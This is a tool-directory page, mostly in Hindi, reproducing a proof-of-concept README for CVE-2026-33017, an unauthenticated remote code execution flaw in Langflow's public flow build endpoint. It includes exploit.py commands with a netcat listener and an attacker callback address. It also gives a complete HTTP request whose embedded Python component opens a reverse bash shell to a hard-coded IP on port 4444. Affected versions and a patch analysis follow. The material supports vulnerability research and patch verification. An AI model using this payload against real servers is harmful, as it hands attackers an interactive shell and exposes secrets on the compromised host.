Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-33017 — Langflow RCE | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2026-33017
भेद्यता स्कैनरकोड विश्लेषणशोषणवेब सुरक्षापेपर और शोधलर्निंग और शिक्षा
GitHubeqstlab/cve-2026-33017

CVE-2026-33017

Langflow RCE

रिपॉजिटरी देखें
64792 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow रिमोट कोड एक्ज़ीक्यूशन PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


पर्यावरण सेटअप

कमजोर Langflow पर्यावरण को बनाने और चलाने के लिए निम्न कमांड का उपयोग करें:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

PoC का उपयोग कैसे करें

कमजोर Langflow इंस्टेंस शुरू करने के बाद, टारगेट URL, Public flow ID और अटैकर कॉलबैक पते के साथ PoC चलाएँ।

विकल्प A — अपना खुद का लिसनर उपयोग करें:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

विकल्प B — --listen के साथ बिल्ट-इन लिसनर उपयोग करें:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
विकल्पविवरण
--urlटारगेट Langflow सर्वर URL
--flow-idसाझा किए गए Public flow का UUID
--lhostअटैकर कॉलबैक IP
--lportअटैकर कॉलबैक पोर्ट
--listenबाहरी nc के बजाय बिल्ट-इन लिसनर चलाएँ

ENG

CVE-2026-33017, LLM एप्लिकेशन और AI वर्कफ़्लो को विज़ुअली बनाने के लिए उपयोग होने वाले ओपन-सोर्स प्लेटफ़ॉर्म Langflow की Public flow बिल्ड प्रक्रिया में रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी है।
बिना प्रमाणीकरण के build_public_tmp एंडपॉइंट पर क्राफ़्ट किया गया flow डेटा भेजकर, एक अटैकर सर्वर पर मनमाना Python कोड निष्पादित करवा सकता है।


अवलोकन

CVE-2026-33017, LLM एप्लिकेशन और AI वर्कफ़्लो को विज़ुअली बनाने के लिए उपयोग होने वाले ओपन-सोर्स प्लेटफ़ॉर्म Langflow के निम्न Public flow बिल्ड एंडपॉइंट को प्रभावित करता है।

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow में एक Public flow को लिंक या समान तंत्र के माध्यम से अन्य उपयोगकर्ताओं के साथ साझा करने के लिए डिज़ाइन किया गया है।
इस सुविधा का समर्थन करने के लिए, बिल्ड एंडपॉइंट flow के nodes, edges और सेटिंग्स को पढ़कर, और उसे चलाने के लिए आवश्यक आंतरिक निष्पादन ग्राफ बनाकर, बिना प्रमाणीकरण के flow को निष्पादन के लिए तैयार करता है।

समस्या यह थी कि build_public_tmp के कमजोर संस्करण न केवल सर्वर पर संग्रहीत Public flow जानकारी को स्वीकार करते थे, बल्कि अनुरोध बॉडी में दिए गए data फ़ील्ड को भी स्वीकार करते थे।

यह data फ़ील्ड पूरी flow परिभाषा शामिल कर सकता था, जिसमें शामिल हैं:

  • nodes की सूची
  • nodes के बीच कनेक्शन
  • प्रत्येक node के लिए विस्तृत कॉन्फ़िगरेशन मान
  • निष्पादन के लिए आवश्यक टेम्पलेट और कस्टम कंपोनेंट डेटा

परिणामस्वरूप, एक अटैकर सर्वर पर संग्रहीत वैध Public flow पर निर्भर रहने के बजाय, बिना प्रमाणीकरण वाले अनुरोध के माध्यम से पूरी तरह से अटैकर-नियंत्रित flow संरचना इंजेक्ट कर सकता था।

इस डिज़ाइन का एक विशेष रूप से खतरनाक हिस्सा Custom Component सुविधा है।
Langflow में, एक कंपोनेंट एक व्यक्तिगत कार्यात्मक ब्लॉक का प्रतिनिधित्व करता है जो इनपुट हैंडलिंग, मॉडल इनवोकेशन या आउटपुट जनरेशन जैसे कार्यों के लिए जिम्मेदार होता है। कस्टम कंपोनेंट एक एक्स्टेंसिबल ब्लॉक है जो उपयोगकर्ताओं को इसके व्यवहार को सीधे Python कोड में परिभाषित करने की अनुमति देता है।

इसलिए, एक अटैकर क्राफ़्ट किए गए data ऑब्जेक्ट के अंदर दुर्भावनापूर्ण Python कोड वाला कस्टम कंपोनेंट एम्बेड कर सकता था, और सर्वर इसे flow के सामान्य भाग की तरह प्रोसेस करता। परिणामस्वरूप, इंजेक्ट किया गया कोड बिल्ड या निष्पादन प्रक्रिया के दौरान पार्स और निष्पादित हो सकता था, जिससे अंततः रिमोट कोड एक्ज़ीक्यूशन हो सकता था।


प्रभावित संस्करण

श्रेणीसंस्करण
कमजोरLangflow 1.9.0 से पहले
पैच किया गयाLangflow 1.9.0 और बाद के

GitHub Security Advisory प्रभावित सीमा को <= 1.8.2 के रूप में सूचीबद्ध करता है, लेकिन फिक्स — data पैरामीटर को हटाना — 1.9.0 में लागू किया गया। इसलिए 1.9.0 से पहले के सभी रिलीज़ (1.8.3 / 1.8.4 सहित) प्रभावित हैं, यही कारण है कि CVE Record < 1.9.0 बताता है।


प्रभाव

इस कमजोरी का सफल शोषण एक अटैकर को Langflow सर्वर पर नियंत्रण प्राप्त करने और निम्न जैसी आगे की कार्रवाइयाँ करने की अनुमति दे सकता है:

  • सर्वर पर शेल प्राप्त करना
  • पर्यावरण चर या अन्य संवेदनशील जानकारी को बाहर निकालना
  • अतिरिक्त दुर्भावनापूर्ण कोड इंस्टॉल करना और पर्सिस्टेंस स्थापित करना

प्रूफ ऑफ कॉन्सेप्ट

निम्न PoC Langflow 1.8.1 पर CVE-2026-33017 को प्रदर्शित करता है।

1) Public Flow ID की पहचान करें

अटैकर पहले टारगेट Public flow के flow_id की पहचान करता है।

Public Flow ID की पहचान करें

2) दुर्भावनापूर्ण कस्टम कंपोनेंट के साथ बिल्ड अनुरोध भेजें

अटैकर एक build_public_tmp अनुरोध भेजता है जो एक कस्टम कंपोनेंट इंजेक्ट करता है, जिसका Python code अस्थायी बिल्ड के दौरान सर्वर पर निष्पादित होता है। नीचे दिए गए अनुरोध में, code मान को प्लेसहोल्डर के रूप में छोड़ा गया है — पेलोड स्वयं डालें (अनुरोध के नीचे दिया गया नोट देखें)।

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) शेल प्राप्त करें

बिल्ड प्रक्रिया के दौरान, कस्टम कंपोनेंट में एम्बेडेड कोड सर्वर पर निष्पादित होता है। जब रिवर्स शेल वैरिएंट (exploit.py द्वारा स्वचालित) का उपयोग किया जाता है, तो अटैकर के लिसनर से एक कनेक्शन स्थापित होता है, जिससे अटैकर को सर्वर पर मनमाने कमांड चलाने के लिए एक इंटरैक्टिव शेल मिलता है।

शेल प्राप्त करें


तकनीकी विश्लेषण

हालाँकि build_public_tmp का उद्देश्य Public flows बनाना था, फिर भी कमजोर संस्करण अनुरोध बॉडी से सीधे आया data फ़ील्ड स्वीकार करते थे।

इस डिज़ाइन के कारण, अटैकर द्वारा आपूर्ति किया गया data सीधे सर्वर-साइड बिल्ड लॉजिक में पास हो जाता था, और कस्टम कंपोनेंट में एम्बेडेड किसी भी Python कोड को वैध flow का हिस्सा मानकर संभाला जाता था।

परिणामस्वरूप, अटैकर को सर्वर पर संग्रहीत मूल Public flow पर निर्भर रहने की आवश्यकता नहीं थी। इसके बजाय, वे अपनी पूरी तरह से दुर्भावनापूर्ण flow परिभाषा इंजेक्ट कर सकते थे, जिसमें सर्वर पर निष्पादित हो सकने वाला कोड भी शामिल था।

पैच के बाद, build_public_tmp अब बाहरी रूप से आपूर्ति किए गए data को स्वीकार नहीं करता है।
दूसरे शब्दों में, वह मार्ग जो पहले अटैकर्स को अनुरोध बॉडी के माध्यम से पूरी flow परिभाषा इंजेक्ट करने की अनुमति देता था, हटा दिया गया, जिससे दुर्भावनापूर्ण कस्टम कंपोनेंट्स के माध्यम से मनमाना कोड निष्पादन भी रोक दिया गया।

Patch Diff


शमन

टूल डाउनलोड करें